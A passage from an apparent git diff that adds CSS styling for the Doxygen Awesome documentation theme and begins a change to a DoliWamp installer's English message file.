0.75px var(--separator-color), + -100px 0.75px var(--separator-color), + 500px 0 var(--page-background-color), + -500px 0 var(--page-background-color), + 500px 0.75px var(--separator-color), + -500px 0.75px var(--separator-color), + 900px 0 var(--page-background-color), + -900px 0 var(--page-background-color), + 900px 0.75px var(--separator-color), + -900px 0.75px var(--separator-color), + 1400px 0 var(--page-background-color), + -1400px 0 var(--page-background-color), + 1400px 0.75px var(--separator-color), + -1400px 0.75px var(--separator-color), + 1900px 0 var(--page-background-color), + -1900px 0 var(--page-background-color), + 1900px 0.75px var(--separator-color), + -1900px 0.75px var(--separator-color); +} + +blockquote { + margin: 0 var(--spacing-medium) 0 var(--spacing-medium); + padding: var(--spacing-small) var(--spacing-large); + background: var(--blockquote-background); + color: var(--blockquote-foreground); + border-left: 0; + overflow: visible; + border-radius: var(--border-radius-medium); + overflow: visible; + position: relative; +} + +blockquote::before, blockquote::after { + font-weight: bold; + font-family: serif; + font-size: 360%; + opacity: .15; + position: absolute; +} + +blockquote::before { + content: "“"; + left: -10px; + top: 4px; +} + +blockquote::after { + content: "”"; + right: -8px; + bottom: -25px; +} + +blockquote p { + margin: var(--spacing-small) 0 var(--spacing-medium) 0; +} +.paramname { + font-weight: 600; + color: var(--primary-dark-color); +} + +.paramname > code { + border: 0; +} + +table.params .paramname { + font-weight: 600; + font-family: var(--font-family-monospace); + font-size: var(--code-font-size); + padding-right: var(--spacing-small); + line-height: var(--table-line-height); +} + +h1.glow, h2.glow, h3.glow, h4.glow, h5.glow, h6.glow { + text-shadow: 0 0 15px var(--primary-light-color); +} + +.alphachar a { + color: var(--page-foreground-color); +} + +/* + Table of Contents + */ + +div.contents .toc { + max-height: var(--toc-max-height); + min-width: var(--toc-width); + border: 0; + border-left: 1px solid var(--separator-color); + border-radius: 0; + background-color: transparent; + box-shadow: none; + position: sticky; + top: var(--toc-sticky-top); + padding: 0 var(--spacing-large); + margin: var(--spacing-small) 0 var(--spacing-large) var(--spacing-large); +} + +div.toc h3 { + color: var(--toc-foreground); + font-size: var(--navigation-font-size); + margin: var(--spacing-large) 0 var(--spacing-medium) 0; +} + +div.toc li { + padding: 0; + background: none; + line-height: var(--toc-font-size); + margin: var(--toc-font-size) 0 0 0; +} + +div.toc li::before { + display: none; +} + +div.toc ul { + margin-top: 0 +} + +div.toc li a { + font-size: var(--toc-font-size); + color: var(--page-foreground-color) !important; + text-decoration: none; +} + +div.toc li a:hover, div.toc li a.active { + color: var(--primary-color) !important; +} + +div.toc li a.aboveActive { + color: var(--page-secondary-foreground-color) !important; +} + + +@media screen and (max-width: 999px) { + div.contents .toc { + max-height: 45vh; + float: none; + width: auto; + margin: 0 0 var(--spacing-medium) 0; + position: relative; + top: 0; + position: relative; + border: 1px solid var(--separator-color); + border-radius: var(--border-radius-medium); + background-color: var(--toc-background); + box-shadow: var(--box-shadow); + } + + div.contents .toc.interactive { + max-height: calc(var(--navigation-font-size) + 2 * var(--spacing-large)); + overflow: hidden; + } + + div.contents .toc > h3 { + -webkit-tap-highlight-color: transparent; + cursor: pointer; + position: sticky; + top: 0; + background-color: var(--toc-background); + margin: 0; + padding: var(--spacing-large) 0; + display: block; + } + + div.contents .toc.interactive > h3::before { + content: ""; + width: 0; + height: 0; + border-left: 4px solid transparent; + border-right: 4px solid transparent; + border-top: 5px solid var(--primary-color); + display: inline-block; + margin-right: var(--spacing-small); + margin-bottom: calc(var(--navigation-font-size) / 4); + transform: rotate(-90deg); + transition: transform 0.25s ease-out; + } + + div.contents .toc.interactive.open > h3::before { + transform: rotate(0deg); + } + + div.contents .toc.interactive.open { + max-height: 45vh; + overflow: auto; + transition: max-height 0.2s ease-in-out; + } + + div.contents .toc a, div.contents .toc a.active { + color: var(--primary-color) !important; + } + + div.contents .toc a:hover { + text-decoration: underline; + } +} + +/* + Code & Fragments + */ + +code, div.fragment, pre.fragment { + border-radius: var(--border-radius-small); + border: 1px solid var(--separator-color); + overflow: hidden; +} + +code { + display: inline; + background: var(--code-background); + color: var(--code-foreground); + padding: 2px 6px; +} + +div.fragment, pre.fragment { + margin: var(--spacing-medium) 0; + padding: calc(var(--spacing-large) - (var(--spacing-large) / 6)) var(--spacing-large); + background: var(--fragment-background); + color: var(--fragment-foreground); + overflow-x: auto; +} + +@media screen and (max-width: 767px) { + div.fragment, pre.fragment { + border-top-right-radius: 0; + border-bottom-right-radius: 0; + border-right: 0; + } + + .contents > div.fragment, + .textblock > div.fragment, + .textblock > pre.fragment, + .contents > .doxygen-awesome-fragment-wrapper > div.fragment, + .textblock > .doxygen-awesome-fragment-wrapper > div.fragment, + .textblock > .doxygen-awesome-fragment-wrapper > pre.fragment { + margin: var(--spacing-medium) calc(0px - var(--spacing-large)); + border-radius: 0; + border-left: 0; + } + + .textblock li > .fragment, + .textblock li > .doxygen-awesome-fragment-wrapper > .fragment { + margin: var(--spacing-medium) calc(0px - var(--spacing-large)); + } + + .memdoc li > .fragment, + .memdoc li > .doxygen-awesome-fragment-wrapper > .fragment { + margin: var(--spacing-medium) calc(0px - var(--spacing-medium)); + } + + .textblock ul, .memdoc ul { + overflow: initial; + } + + .memdoc > div.fragment, + .memdoc > pre.fragment, + dl dd > div.fragment, + dl dd pre.fragment, + .memdoc > .doxygen-awesome-fragment-wrapper > div.fragment, + .memdoc > .doxygen-awesome-fragment-wrapper > pre.fragment, + dl dd > .doxygen-awesome-fragment-wrapper > div.fragment, + dl dd .doxygen-awesome-fragment-wrapper > pre.fragment { + margin: var(--spacing-medium) calc(0px - var(--spacing-medium)); + border-radius: 0; + border-left: 0; + } +} + +code, code a, pre.fragment, div.fragment, div.fragment .line, div.fragment span, div.fragment .line a, div.fragment .line span { + font-family: var(--font-family-monospace); + font-size: var(--code-font-size) !important; +} + +div.line:after { + margin-right: var(--spacing-medium); +} + +div.fragment .line, pre.fragment { + white-space: pre; + word-wrap: initial; + line-height: var(--fragment-lineheight); +} + +div.fragment span.keyword { + color: var(--fragment-keyword); +} + +div.fragment span.keywordtype { + color: var(--fragment-keywordtype); +} + +div.fragment span.keywordflow { + color: var(--fragment-keywordflow); +} + +div.fragment span.stringliteral { + color: var(--fragment-token) +} + +div.fragment span.comment { + color: var(--fragment-comment); +} + +div.fragment a.code { + color: var(--fragment-link) !important; +} + +div.fragment span.preprocessor { + color: var(--fragment-preprocessor); +} + +div.fragment span.lineno { + display: inline-block; + width: 27px; + border-right: none; + background: var(--fragment-linenumber-background); + color: var(--fragment-linenumber-color); +} + +div.fragment span.lineno a { + background: none; + color: var(--fragment-link) !important; +} + +div.fragment .line:first-child .lineno { + box-shadow: -999999px 0px 0 999999px var(--fragment-linenumber-background), -999998px 0px 0 999999px var(--fragment-linenumber-border); +} + +div.line { + border-radius: var(--border-radius-small); +} + +div.line.glow { + background-color: var(--primary-light-color); + box-shadow: none; +} + +/* + dl warning, attention, note, deprecated, bug, ... + */ + +dl.bug dt a, dl.deprecated dt a, dl.todo dt a { + font-weight: bold !important; +} + +dl.warning, dl.attention, dl.note, dl.deprecated, dl.bug, dl.invariant, dl.pre, dl.todo, dl.remark { + padding: var(--spacing-medium); + margin: var(--spacing-medium) 0; + color: var(--page-background-color); + overflow: hidden; + margin-left: 0; + border-radius: var(--border-radius-small); +} + +dl.section dd { + margin-bottom: 2px; +} + +dl.warning, dl.attention { + background: var(--warning-color); + border-left: 8px solid var(--warning-color-dark); + color: var(--warning-color-darker); +} + +dl.warning dt, dl.attention dt { + color: var(--warning-color-dark); +} + +dl.note, dl.remark { + background: var(--note-color); + border-left: 8px solid var(--note-color-dark); + color: var(--note-color-darker); +} + +dl.note dt, dl.remark dt { + color: var(--note-color-dark); +} + +dl.todo { + background: var(--todo-color); + border-left: 8px solid var(--todo-color-dark); + color: var(--todo-color-darker); +} + +dl.todo dt { + color: var(--todo-color-dark); +} + +dl.bug dt a { + color: var(--todo-color-dark) !important; +} + +dl.bug { + background: var(--bug-color); + border-left: 8px solid var(--bug-color-dark); + color: var(--bug-color-darker); +} + +dl.bug dt a { + color: var(--bug-color-dark) !important; +} + +dl.deprecated { + background: var(--deprecated-color); + border-left: 8px solid var(--deprecated-color-dark); + color: var(--deprecated-color-darker); +} + +dl.deprecated dt a { + color: var(--deprecated-color-dark) !important; +} + +dl.section dd, dl.bug dd, dl.deprecated dd, dl.todo dd { + margin-inline-start: 0px; +} + +dl.invariant, dl.pre { + background: var(--invariant-color); + border-left: 8px solid var(--invariant-color-dark); + color: var(--invariant-color-darker); +} + +dl.invariant dt, dl.pre dt { + color: var(--invariant-color-dark); +} + +/* + memitem + */ + +div.memdoc, div.memproto, h2.memtitle { + box-shadow: none; + background-image: none; + border: none; +} + +div.memdoc { + padding: 0 var(--spacing-medium); + background: var(--page-background-color); +} + +h2.memtitle, div.memitem { + border: 1px solid var(--separator-color); + box-shadow: var(--box-shadow); +} + +h2.memtitle { + box-shadow: 0px var(--spacing-medium) 0 -1px var(--fragment-background), var(--box-shadow); +} + +div.memitem { + transition: none; +} + +div.memproto, h2.memtitle { + background: var(--fragment-background); +} + +h2.memtitle { + font-weight: 500; + font-size: var(--memtitle-font-size); + font-family: var(--font-family-monospace); + border-bottom: none; + border-top-left-radius: var(--border-radius-medium); + border-top-right-radius: var(--border-radius-medium); + word-break: break-all; + position: relative; +} + +h2.memtitle:after { + content: ""; + display: block; + background: var(--fragment-background); + height: var(--spacing-medium); + bottom: calc(0px - var(--spacing-medium)); + left: 0; + right: -14px; + position: absolute; + border-top-right-radius: var(--border-radius-medium); +} + +h2.memtitle > span.permalink { + font-size: inherit; +} + +h2.memtitle > span.permalink > a { + text-decoration: none; + padding-left: 3px; + margin-right: -4px; + user-select: none; + display: inline-block; + margin-top: -6px; +} + +h2.memtitle > span.permalink > a:hover { + color: var(--primary-dark-color) !important; +} + +a:target + h2.memtitle, a:target + h2.memtitle + div.memitem { + border-color: var(--primary-light-color); +} + +div.memitem { + border-top-right-radius: var(--border-radius-medium); + border-bottom-right-radius: var(--border-radius-medium); + border-bottom-left-radius: var(--border-radius-medium); + overflow: hidden; + display: block !important; +} + +div.memdoc { + border-radius: 0; +} + +div.memproto { + border-radius: 0 var(--border-radius-small) 0 0; + overflow: auto; + border-bottom: 1px solid var(--separator-color); + padding: var(--spacing-medium); + margin-bottom: -1px; +} + +div.memtitle { + border-top-right-radius: var(--border-radius-medium); + border-top-left-radius: var(--border-radius-medium); +} + +div.memproto table.memname { + font-family: var(--font-family-monospace); + color: var(--page-foreground-color); + font-size: var(--memname-font-size); + text-shadow: none; +} + +div.memproto div.memtemplate { + font-family: var(--font-family-monospace); + color: var(--primary-dark-color); + font-size: var(--memname-font-size); + margin-left: 2px; + text-shadow: none; +} + +table.mlabels, table.mlabels > tbody { + display: block; +} + +td.mlabels-left { + width: auto; +} + +td.mlabels-right { + margin-top: 3px; + position: sticky; + left: 0; +} + +table.mlabels > tbody > tr:first-child { + display: flex; + justify-content: space-between; + flex-wrap: wrap; +} + +.memname, .memitem span.mlabels { + margin: 0 +} + +/* + reflist + */ + +dl.reflist { + box-shadow: var(--box-shadow); + border-radius: var(--border-radius-medium); + border: 1px solid var(--separator-color); + overflow: hidden; + padding: 0; +} + + +dl.reflist dt, dl.reflist dd { + box-shadow: none; + text-shadow: none; + background-image: none; + border: none; + padding: 12px; +} + + +dl.reflist dt { + font-weight: 500; + border-radius: 0; + background: var(--code-background); + border-bottom: 1px solid var(--separator-color); + color: var(--page-foreground-color) +} + + +dl.reflist dd { + background: none; +} + +/* + Table + */ + +.contents table:not(.memberdecls):not(.mlabels):not(.fieldtable):not(.memname), +.contents table:not(.memberdecls):not(.mlabels):not(.fieldtable):not(.memname) tbody { + display: inline-block; + max-width: 100%; +} + +.contents > table:not(.memberdecls):not(.mlabels):not(.fieldtable):not(.memname):not(.classindex) { + margin-left: calc(0px - var(--spacing-large)); + margin-right: calc(0px - var(--spacing-large)); + max-width: calc(100% + 2 * var(--spacing-large)); +} + +table.fieldtable, +table.markdownTable tbody, +table.doxtable tbody { + border: none; + margin: var(--spacing-medium) 0; + box-shadow: 0 0 0 1px var(--separator-color); + border-radius: var(--border-radius-small); +} + +table.doxtable caption { + display: block; +} + +table.fieldtable { + border-collapse: collapse; + width: 100%; +} + +th.markdownTableHeadLeft, +th.markdownTableHeadRight, +th.markdownTableHeadCenter, +th.markdownTableHeadNone, +table.doxtable th { + background: var(--tablehead-background); + color: var(--tablehead-foreground); + font-weight: 600; + font-size: var(--page-font-size); +} + +th.markdownTableHeadLeft:first-child, +th.markdownTableHeadRight:first-child, +th.markdownTableHeadCenter:first-child, +th.markdownTableHeadNone:first-child, +table.doxtable tr th:first-child { + border-top-left-radius: var(--border-radius-small); +} + +th.markdownTableHeadLeft:last-child, +th.markdownTableHeadRight:last-child, +th.markdownTableHeadCenter:last-child, +th.markdownTableHeadNone:last-child, +table.doxtable tr th:last-child { + border-top-right-radius: var(--border-radius-small); +} + +table.markdownTable td, +table.markdownTable th, +table.fieldtable td, +table.fieldtable th, +table.doxtable td, +table.doxtable th { + border: 1px solid var(--separator-color); + padding: var(--spacing-small) var(--spacing-medium); +} + +table.markdownTable td:last-child, +table.markdownTable th:last-child, +table.fieldtable td:last-child, +table.fieldtable th:last-child, +table.doxtable td:last-child, +table.doxtable th:last-child { + border-right: none; +} + +table.markdownTable td:first-child, +table.markdownTable th:first-child, +table.fieldtable td:first-child, +table.fieldtable th:first-child, +table.doxtable td:first-child, +table.doxtable th:first-child { + border-left: none; +} + +table.markdownTable tr:first-child td, +table.markdownTable tr:first-child th, +table.fieldtable tr:first-child td, +table.fieldtable tr:first-child th, +table.doxtable tr:first-child td, +table.doxtable tr:first-child th { + border-top: none; +} + +table.markdownTable tr:last-child td, +table.markdownTable tr:last-child th, +table.fieldtable tr:last-child td, +table.fieldtable tr:last-child th, +table.doxtable tr:last-child td, +table.doxtable tr:last-child th { + border-bottom: none; +} + +table.markdownTable tr, table.doxtable tr { + border-bottom: 1px solid var(--separator-color); +} + +table.markdownTable tr:last-child, table.doxtable tr:last-child { + border-bottom: none; +} + +table.fieldtable th { + font-size: var(--page-font-size); + font-weight: 600; + background-image: none; + background-color: var(--tablehead-background); + color: var(--tablehead-foreground); +} + +table.fieldtable td.fieldtype, .fieldtable td.fieldname, .fieldtable td.fielddoc, .fieldtable th { + border-bottom: 1px solid var(--separator-color); + border-right: 1px solid var(--separator-color); +} + +table.fieldtable tr:last-child td:first-child { + border-bottom-left-radius: var(--border-radius-small); +} + +table.fieldtable tr:last-child td:last-child { + border-bottom-right-radius: var(--border-radius-small); +} + +.memberdecls td.glow, .fieldtable tr.glow { + background-color: var(--primary-light-color); + box-shadow: none; +} + +table.memberdecls { + display: block; + -webkit-tap-highlight-color: transparent; +} + +table.memberdecls tr[class^='memitem'] { + font-family: var(--font-family-monospace); + font-size: var(--code-font-size); +} + +table.memberdecls tr[class^='memitem'] .memTemplParams { + font-family: var(--font-family-monospace); + font-size: var(--code-font-size); + color: var(--primary-dark-color); + white-space: normal; +} + +table.memberdecls .memItemLeft, +table.memberdecls .memItemRight, +table.memberdecls .memTemplItemLeft, +table.memberdecls .memTemplItemRight, +table.memberdecls .memTemplParams { + transition: none; + padding-top: var(--spacing-small); + padding-bottom: var(--spacing-small); + border-top: 1px solid var(--separator-color); + border-bottom: 1px solid var(--separator-color); + background-color: var(--fragment-background); +} + +table.memberdecls .memTemplItemLeft, +table.memberdecls .memTemplItemRight { + padding-top: 2px; +} + +table.memberdecls .memTemplParams { + border-bottom: 0; + border-left: 1px solid var(--separator-color); + border-right: 1px solid var(--separator-color); + border-radius: var(--border-radius-small) var(--border-radius-small) 0 0; + padding-bottom: var(--spacing-small); +} + +table.memberdecls .memTemplItemLeft { + border-radius: 0 0 0 var(--border-radius-small); + border-left: 1px solid var(--separator-color); + border-top: 0; +} + +table.memberdecls .memTemplItemRight { + border-radius: 0 0 var(--border-radius-small) 0; + border-right: 1px solid var(--separator-color); + padding-left: 0; + border-top: 0; +} + +table.memberdecls .memItemLeft { + border-radius: var(--border-radius-small) 0 0 var(--border-radius-small); + border-left: 1px solid var(--separator-color); + padding-left: var(--spacing-medium); + padding-right: 0; +} + +table.memberdecls .memItemRight { + border-radius: 0 var(--border-radius-small) var(--border-radius-small) 0; + border-right: 1px solid var(--separator-color); + padding-right: var(--spacing-medium); + padding-left: 0; + +} + +table.memberdecls .mdescLeft, table.memberdecls .mdescRight { + background: none; + color: var(--page-foreground-color); + padding: var(--spacing-small) 0; +} + +table.memberdecls .memItemLeft, +table.memberdecls .memTemplItemLeft { + padding-right: var(--spacing-medium); +} + +table.memberdecls .memSeparator { + background: var(--page-background-color); + height: var(--spacing-large); + border: 0; + transition: none; +} + +table.memberdecls .groupheader { + margin-bottom: var(--spacing-large); +} + +table.memberdecls .inherit_header td { + padding: 0 0 var(--spacing-medium) 0; + text-indent: -12px; + color: var(--page-secondary-foreground-color); +} + +table.memberdecls img[src="closed.png"], +table.memberdecls img[src="open.png"], +div.dynheader img[src="open.png"], +div.dynheader img[src="closed.png"] { + width: 0; + height: 0; + border-left: 4px solid transparent; + border-right: 4px solid transparent; + border-top: 5px solid var(--primary-color); + margin-top: 8px; + display: block; + float: left; + margin-left: -10px; + transition: transform 0.25s ease-out; +} + +table.memberdecls img { + margin-right: 10px; +} + +table.memberdecls img[src="closed.png"], +div.dynheader img[src="closed.png"] { + transform: rotate(-90deg); + +} + +.compoundTemplParams { + font-family: var(--font-family-monospace); + color: var(--primary-dark-color); + font-size: var(--code-font-size); +} + +@media screen and (max-width: 767px) { + + table.memberdecls .memItemLeft, + table.memberdecls .memItemRight, + table.memberdecls .mdescLeft, + table.memberdecls .mdescRight, + table.memberdecls .memTemplItemLeft, + table.memberdecls .memTemplItemRight, + table.memberdecls .memTemplParams { + display: block; + text-align: left; + padding-left: var(--spacing-large); + margin: 0 calc(0px - var(--spacing-large)) 0 calc(0px - var(--spacing-large)); + border-right: none; + border-left: none; + border-radius: 0; + white-space: normal; + } + + table.memberdecls .memItemLeft, + table.memberdecls .mdescLeft, + table.memberdecls .memTemplItemLeft { + border-bottom: 0; + padding-bottom: 0; + } + + table.memberdecls .memTemplItemLeft { + padding-top: 0; + } + + table.memberdecls .mdescLeft { + margin-bottom: calc(0px - var(--page-font-size)); + } + + table.memberdecls .memItemRight, + table.memberdecls .mdescRight, + table.memberdecls .memTemplItemRight { + border-top: 0; + padding-top: 0; + padding-right: var(--spacing-large); + overflow-x: auto; + } + + table.memberdecls tr[class^='memitem']:not(.inherit) { + display: block; + width: calc(100vw - 2 * var(--spacing-large)); + } + + table.memberdecls .mdescRight { + color: var(--page-foreground-color); + } + + table.memberdecls tr.inherit { + visibility: hidden; + } + + table.memberdecls tr[style="display: table-row;"] { + display: block !important; + visibility: visible; + width: calc(100vw - 2 * var(--spacing-large)); + animation: fade .5s; + } + + @keyframes fade { + 0% { + opacity: 0; + max-height: 0; + } + + 100% { + opacity: 1; + max-height: 200px; + } + } +} + + +/* + Horizontal Rule + */ + +hr { + margin-top: var(--spacing-large); + margin-bottom: var(--spacing-large); + height: 1px; + background-color: var(--separator-color); + border: 0; +} + +.contents hr { + box-shadow: 100px 0 0 var(--separator-color), + -100px 0 0 var(--separator-color), + 500px 0 0 var(--separator-color), + -500px 0 0 var(--separator-color), + 1500px 0 0 var(--separator-color), + -1500px 0 0 var(--separator-color), + 2000px 0 0 var(--separator-color), + -2000px 0 0 var(--separator-color); +} + +.contents img, .contents .center, .contents center, .contents div.image object { + max-width: 100%; + overflow: auto; +} + +@media screen and (max-width: 767px) { + .contents .dyncontent > .center, .contents > center { + margin-left: calc(0px - var(--spacing-large)); + margin-right: calc(0px - var(--spacing-large)); + max-width: calc(100% + 2 * var(--spacing-large)); + } +} + +/* + Directories + */ +div.directory { + border-top: 1px solid var(--separator-color); + border-bottom: 1px solid var(--separator-color); + width: auto; +} + +table.directory { + font-family: var(--font-family); + font-size: var(--page-font-size); + font-weight: normal; + width: 100%; +} + +table.directory td.entry, table.directory td.desc { + padding: calc(var(--spacing-small) / 2) var(--spacing-small); + line-height: var(--table-line-height); +} + +table.directory tr.even td:last-child { + border-radius: 0 var(--border-radius-small) var(--border-radius-small) 0; +} + +table.directory tr.even td:first-child { + border-radius: var(--border-radius-small) 0 0 var(--border-radius-small); +} + +table.directory tr.even:last-child td:last-child { + border-radius: 0 var(--border-radius-small) 0 0; +} + +table.directory tr.even:last-child td:first-child { + border-radius: var(--border-radius-small) 0 0 0; +} + +table.directory td.desc { + min-width: 250px; +} + +table.directory tr.even { + background-color: var(--odd-color); +} + +table.directory tr.odd { + background-color: transparent; +} + +.icona { + width: auto; + height: auto; + margin: 0 var(--spacing-small); +} + +.icon { + background: var(--primary-color); + border-radius: var(--border-radius-small); + font-size: var(--page-font-size); + padding: calc(var(--page-font-size) / 5); + line-height: var(--page-font-size); + transform: scale(0.8); + height: auto; + width: var(--page-font-size); + user-select: none; +} + +.iconfopen, .icondoc, .iconfclosed { + background-position: center; + margin-bottom: 0; + height: var(--table-line-height); +} + +.icondoc { + filter: saturate(0.2); +} + +@media screen and (max-width: 767px) { + div.directory { + margin-left: calc(0px - var(--spacing-large)); + margin-right: calc(0px - var(--spacing-large)); + } +} + +@media (prefers-color-scheme: dark) { + html:not(.light-mode) .iconfopen, html:not(.light-mode) .iconfclosed { + filter: hue-rotate(180deg) invert(); + } +} + +html.dark-mode .iconfopen, html.dark-mode .iconfclosed { + filter: hue-rotate(180deg) invert(); +} + +/* + Class list + */ + +.classindex dl.odd { + background: var(--odd-color); + border-radius: var(--border-radius-small); +} + +.classindex dl.even { + background-color: transparent; +} + +/* + Class Index Doxygen 1.8 +*/ + +table.classindex { + margin-left: 0; + margin-right: 0; + width: 100%; +} + +table.classindex table div.ah { + background-image: none; + background-color: initial; + border-color: var(--separator-color); + color: var(--page-foreground-color); + box-shadow: var(--box-shadow); + border-radius: var(--border-radius-large); + padding: var(--spacing-small); +} + +div.qindex { + background-color: var(--odd-color); + border-radius: var(--border-radius-small); + border: 1px solid var(--separator-color); + padding: var(--spacing-small) 0; +} + +/* + Footer and nav-path + */ + +#nav-path { + width: 100%; +} + +#nav-path ul { + background-image: none; + background: var(--page-background-color); + border: none; + border-top: 1px solid var(--separator-color); + border-bottom: 1px solid var(--separator-color); + border-bottom: 0; + box-shadow: 0 0.75px 0 var(--separator-color); + font-size: var(--navigation-font-size); +} + +img.footer { + width: 60px; +} + +.navpath li.footer { + color: var(--page-secondary-foreground-color); +} + +address.footer { + color: var(--page-secondary-foreground-color); + margin-bottom: var(--spacing-large); +} + +#nav-path li.navelem { + background-image: none; + display: flex; + align-items: center; +} + +.navpath li.navelem a { + text-shadow: none; + display: inline-block; + color: var(--primary-color) !important; +} + +.navpath li.navelem b { + color: var(--primary-dark-color); + font-weight: 500; +} + +li.navelem { + padding: 0; + margin-left: -8px; +} + +li.navelem:first-child { + margin-left: var(--spacing-large); +} + +li.navelem:first-child:before { + display: none; +} + +#nav-path li.navelem:after { + content: ''; + border: 5px solid var(--page-background-color); + border-bottom-color: transparent; + border-right-color: transparent; + border-top-color: transparent; + transform: translateY(-1px) scaleY(4.2); + z-index: 10; + margin-left: 6px; +} + +#nav-path li.navelem:before { + content: ''; + border: 5px solid var(--separator-color); + border-bottom-color: transparent; + border-right-color: transparent; + border-top-color: transparent; + transform: translateY(-1px) scaleY(3.2); + margin-right: var(--spacing-small); +} + +.navpath li.navelem a:hover { + color: var(--primary-color); +} + +/* + Scrollbars for Webkit +*/ + +#nav-tree::-webkit-scrollbar, +div.fragment::-webkit-scrollbar, +pre.fragment::-webkit-scrollbar, +div.memproto::-webkit-scrollbar, +.contents center::-webkit-scrollbar, +.contents .center::-webkit-scrollbar, +.contents table:not(.memberdecls):not(.mlabels):not(.fieldtable):not(.memname) tbody::-webkit-scrollbar, +div.contents .toc::-webkit-scrollbar { + background: transparent; + width: calc(var(--webkit-scrollbar-size) + var(--webkit-scrollbar-padding) + var(--webkit-scrollbar-padding)); + height: calc(var(--webkit-scrollbar-size) + var(--webkit-scrollbar-padding) + var(--webkit-scrollbar-padding)); +} + +#nav-tree::-webkit-scrollbar-thumb, +div.fragment::-webkit-scrollbar-thumb, +pre.fragment::-webkit-scrollbar-thumb, +div.memproto::-webkit-scrollbar-thumb, +.contents center::-webkit-scrollbar-thumb, +.contents .center::-webkit-scrollbar-thumb, +.contents table:not(.memberdecls):not(.mlabels):not(.fieldtable):not(.memname) tbody::-webkit-scrollbar-thumb, +div.contents .toc::-webkit-scrollbar-thumb { + background-color: transparent; + border: var(--webkit-scrollbar-padding) solid transparent; + border-radius: calc(var(--webkit-scrollbar-padding) + var(--webkit-scrollbar-padding)); + background-clip: padding-box; +} + +#nav-tree:hover::-webkit-scrollbar-thumb, +div.fragment:hover::-webkit-scrollbar-thumb, +pre.fragment:hover::-webkit-scrollbar-thumb, +div.memproto:hover::-webkit-scrollbar-thumb, +.contents center:hover::-webkit-scrollbar-thumb, +.contents .center:hover::-webkit-scrollbar-thumb, +.contents table:not(.memberdecls):not(.mlabels):not(.fieldtable):not(.memname) tbody:hover::-webkit-scrollbar-thumb, +div.contents .toc:hover::-webkit-scrollbar-thumb { + background-color: var(--webkit-scrollbar-color); +} + +#nav-tree::-webkit-scrollbar-track, +div.fragment::-webkit-scrollbar-track, +pre.fragment::-webkit-scrollbar-track, +div.memproto::-webkit-scrollbar-track, +.contents center::-webkit-scrollbar-track, +.contents .center::-webkit-scrollbar-track, +.contents table:not(.memberdecls):not(.mlabels):not(.fieldtable):not(.memname) tbody::-webkit-scrollbar-track, +div.contents .toc::-webkit-scrollbar-track { + background: transparent; +} + +#nav-tree::-webkit-scrollbar-corner { + background-color: var(--side-nav-background); +} + +#nav-tree, +div.fragment, +pre.fragment, +div.memproto, +.contents center, +.contents .center, +.contents table:not(.memberdecls):not(.mlabels):not(.fieldtable):not(.memname) tbody, +div.contents .toc { + overflow-x: auto; + overflow-x: overlay; +} + +#nav-tree { + overflow-x: auto; + overflow-y: auto; + overflow-y: overlay; +} + +/* + Scrollbars for Firefox +*/ + +#nav-tree, +div.fragment, +pre.fragment, +div.memproto, +.contents center, +.contents .center, +.contents table:not(.memberdecls):not(.mlabels):not(.fieldtable):not(.memname) tbody, +div.contents .toc { + scrollbar-width: thin; +} + +/* + Optional Dark mode toggle button +*/ + +doxygen-awesome-dark-mode-toggle { + display: inline-block; + margin: 0 0 0 var(--spacing-small); + padding: 0; + width: var(--searchbar-height); + height: var(--searchbar-height); + background: none; + border: none; + border-radius: var(--searchbar-height); + vertical-align: middle; + text-align: center; + line-height: var(--searchbar-height); + font-size: 22px; + display: flex; + align-items: center; + justify-content: center; + user-select: none; + cursor: pointer; +} + +doxygen-awesome-dark-mode-toggle > svg { + transition: transform .1s ease-in-out; +} + +doxygen-awesome-dark-mode-toggle:active > svg { + transform: scale(.5); +} + +doxygen-awesome-dark-mode-toggle:hover { + background-color: rgba(0,0,0,.03); +} + +html.dark-mode doxygen-awesome-dark-mode-toggle:hover { + background-color: rgba(0,0,0,.18); +} + +/* + Optional fragment copy button +*/ +.doxygen-awesome-fragment-wrapper { + position: relative; +} + +doxygen-awesome-fragment-copy-button { + opacity: 0; + background: var(--fragment-background); + width: 28px; + height: 28px; + position: absolute; + right: calc(var(--spacing-large) - (var(--spacing-large) / 2.5)); + top: calc(var(--spacing-large) - (var(--spacing-large) / 2.5)); + border: 1px solid var(--fragment-foreground); + cursor: pointer; + border-radius: var(--border-radius-small); + display: flex; + justify-content: center; + align-items: center; +} + +.doxygen-awesome-fragment-wrapper:hover doxygen-awesome-fragment-copy-button, doxygen-awesome-fragment-copy-button.success { + opacity: .28; +} + +doxygen-awesome-fragment-copy-button:hover, doxygen-awesome-fragment-copy-button.success { + opacity: 1 !important; +} + +doxygen-awesome-fragment-copy-button:active:not([class~=success]) svg { + transform: scale(.91); +} + +doxygen-awesome-fragment-copy-button svg { + fill: var(--fragment-foreground); + width: 18px; + height: 18px; +} + +doxygen-awesome-fragment-copy-button.success svg { + fill: rgb(14, 168, 14); +} + +doxygen-awesome-fragment-copy-button.success { + border-color: rgb(14, 168, 14); +} + +@media screen and (max-width: 767px) { + .textblock > .doxygen-awesome-fragment-wrapper > doxygen-awesome-fragment-copy-button, + .textblock li > .doxygen-awesome-fragment-wrapper > doxygen-awesome-fragment-copy-button, + .memdoc li > .doxygen-awesome-fragment-wrapper > doxygen-awesome-fragment-copy-button, + .memdoc > .doxygen-awesome-fragment-wrapper > doxygen-awesome-fragment-copy-button, + dl dd > .doxygen-awesome-fragment-wrapper > doxygen-awesome-fragment-copy-button { + right: 0; + } +} + +/* + Optional paragraph link button +*/ + +a.anchorlink { + font-size: 90%; + margin-left: var(--spacing-small); + color: var(--page-foreground-color) !important; + text-decoration: none; + opacity: .15; + display: none; + transition: opacity .1s ease-in-out, color .1s ease-in-out; +} + +a.anchorlink svg { + fill: var(--page-foreground-color); +} + +h3 a.anchorlink svg, h4 a.anchorlink svg { + margin-bottom: -3px; + margin-top: -4px; +} + +a.anchorlink:hover { + opacity: .45; +} + +h2:hover a.anchorlink, h1:hover a.anchorlink, h3:hover a.anchorlink, h4:hover a.anchorlink { + display: inline-block; +} + + +#MSearchBox .left { + background: none !important; +} +#MSearchBox .right { + background: none !important; +} diff --git a/build/exe/doliwamp/Languages/MyEnglish.isl b/build/exe/doliwamp/Languages/MyEnglish.isl index 7ad94c4ca86..9c91ae92e4a 100644 --- a/build/exe/doliwamp/Languages/MyEnglish.isl +++ b/build/exe/doliwamp/Languages/MyEnglish.isl @@ -11,38 +11,38 @@ LaunchProgram=Launch %1 AssocFileExtension=&Associate %1 with the %2 file extension AssocingFileExtension=Associating %1 with the %2 file extension... -YouWillInstallDoliWamp=You will install DoliWamp (so 